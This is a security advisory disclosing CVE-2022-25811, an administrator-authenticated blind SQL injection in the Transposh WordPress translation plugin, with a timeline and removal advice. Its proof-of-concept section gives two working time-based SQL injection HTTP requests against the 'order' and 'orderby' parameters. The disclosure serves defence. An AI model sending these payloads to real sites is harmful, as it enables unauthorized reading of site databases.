Transposh WordPress Translation 1.0.8.1 SQL Injection

RCE Security Advisory
https://www.rcesecurity.com

1. ADVISORY INFORMATION
   =======================
   Product: Transposh WordPress Translation
   Vendor URL: https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/
   Type: Improper Authorization [CWE-285]
   Date found: 2022-02-21
   Date published: 2022-07-22
   CVSSv3 Score: 6.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N)
   CVE: CVE-2022-25811

2. CREDITS
   ==========
   This vulnerability was discovered and researched by Julien Ahrens from
   RCE Security.

3. VERSIONS AFFECTED
   ====================
   Transposh WordPress Translation 1.0.8.1 and below

4. INTRODUCTION
   ===============
   Transposh translation filter for WordPress offers a unique approach to blog
   translation. It allows your blog to combine automatic translation with human
   translation aided by your users with an easy to use in-context interface.

(from the vendor’s homepage)

5. VULNERABILITY DETAILS
   ========================
   The WordPress plugin’s “tp_editor” page at “/wp-admin/admin.php?page=tp_editor” is
   vulnerable to two authenticated, blind SQL Injections when user-supplied input to
   the HTT GET parameters “order” and “orderby” is processed by the web application.

Since the application does not properly validate and sanitize these parameters, an
attacker with the role “Administrator” is able to inject arbitrary SQL commands
against the backend database server of the web application.

Successful exploits can allow the attacker to access the WordPress backend
database and thereby read sensitive contents. This is specifically relevant in
multi-site installations.

6. PROOF OF CONCEPT
   ===================
   To exploit the “order” parameter:

GET /wp-admin/admin.php?page=tp_editor&orderby=lang&order=page=tp_editor&orderby=lang&order=asc,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END)) HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Cookie: [Your Cookies]
Connection: close

To exploit the “orderby” parameter:

GET /wp-admin/admin.php?page=tp_editor&orderby=lang&order=page=tp_editor&orderby=lang,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END))&order=asc HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Cookie: [Your Cookies]
Connection: close

7. SOLUTION
   ===========
   None. Remove the plugin to prevent exploitation.

8. REPORT TIMELINE
   ==================
   2022-02-21: Discovery of the vulnerability
   2022-02-21: Contacted the vendor via email
   2022-02-21: Vendor response
   2022-02-22: CVE requested from WPScan (CNA)
   2022-02-23: WPScan assigns CVE-2022-25811
   2022-05-22: Sent request for status update on the fix
   2022-05-24: Vendor states that there is no update planned so far
   2022-07-22: Public disclosure

9. REFERENCES
   =============
   https://github.com/MrTuxracer/advisories
   https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/